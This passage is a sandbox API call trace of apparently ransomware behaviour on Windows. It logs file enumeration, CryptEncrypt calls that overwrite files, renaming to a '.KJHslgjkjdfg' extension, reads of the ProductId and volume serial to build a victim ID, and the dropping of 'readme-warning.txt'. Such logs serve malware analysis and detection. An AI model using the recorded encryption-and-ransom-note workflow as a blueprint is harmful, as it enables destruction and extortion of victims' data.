lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3574, lpOverlapped=0x0) returned 1 [0171.174] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3580, dwBufLen=0x3580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3580) returned 1 [0171.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.174] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3580, lpOverlapped=0x0) returned 1 [0171.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.175] SetEndOfFile (hFile=0xf0) returned 1 [0171.177] GetProcessHeap () returned 0x2ef0000 [0171.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.177] GetProcessHeap () returned 0x2ef0000 [0171.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.kjhslgjkjdfg")) returned 1 [0171.179] CloseHandle (hObject=0xf0) returned 1 [0171.179] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0171.179] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0171.179] GetProcessHeap () returned 0x2ef0000 [0171.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.179] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.179] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0171.179] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.179] GetProcessHeap () returned 0x2ef0000 [0171.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.179] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.179] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0171.180] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.180] GetProcessHeap () returned 0x2ef0000 [0171.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.180] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dff0a8 | out: pbData=0x2f47728, pdwDataLen=0x4dff0a8) returned 1 [0171.180] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.180] GetProcessHeap () returned 0x2ef0000 [0171.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.180] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0171.180] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.180] GetProcessHeap () returned 0x2ef0000 [0171.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.180] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0171.180] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.180] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0171.180] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0171.180] RegCloseKey (hKey=0xf0) returned 0x0 [0171.181] GetProcessHeap () returned 0x2ef0000 [0171.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.181] GetProcessHeap () returned 0x2ef0000 [0171.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.181] GetProcessHeap () returned 0x2ef0000 [0171.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.181] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0171.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.181] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.181] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.181] GetProcessHeap () returned 0x2ef0000 [0171.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.181] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.181] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.181] GetProcessHeap () returned 0x2ef0000 [0171.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d270 [0171.181] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt") returned 75 [0171.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.182] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3d270*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3d270*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0171.183] CloseHandle (hObject=0xf0) returned 1 [0171.183] GetProcessHeap () returned 0x2ef0000 [0171.183] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.184] GetProcessHeap () returned 0x2ef0000 [0171.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0171.184] GetProcessHeap () returned 0x2ef0000 [0171.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.184] GetProcessHeap () returned 0x2ef0000 [0171.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.184] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0171.184] GetProcessHeap () returned 0x2ef0000 [0171.184] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0171.184] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0171.184] GetProcessHeap () returned 0x2ef0000 [0171.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0171.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0171.185] GetProcessHeap () returned 0x2ef0000 [0171.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0171.185] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.185] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0171.185] GetProcessHeap () returned 0x2ef0000 [0171.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0171.186] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0171.186] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0171.186] GetProcessHeap () returned 0x2ef0000 [0171.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0171.186] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0171.186] GetProcessHeap () returned 0x2ef0000 [0171.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x84) returned 0x2f45740 [0171.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0171.189] GetProcessHeap () returned 0x2ef0000 [0171.189] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0171.189] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.190] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0171.190] GetProcessHeap () returned 0x2ef0000 [0171.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x286) returned 0x2f16e68 [0171.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.190] GetLastError () returned 0x5 [0171.190] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0171.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.191] GetLastError () returned 0x5 [0171.191] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0171.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.192] GetLastError () returned 0x5 [0171.192] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0171.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.193] GetLastError () returned 0x5 [0171.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0171.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.193] GetLastError () returned 0x5 [0171.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0171.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0171.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.193] GetLastError () returned 0x5 [0171.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0171.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.193] GetLastError () returned 0x5 [0171.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0171.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.194] GetLastError () returned 0x5 [0171.194] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0171.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.195] GetLastError () returned 0x5 [0171.195] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0171.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.195] GetLastError () returned 0x5 [0171.195] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, 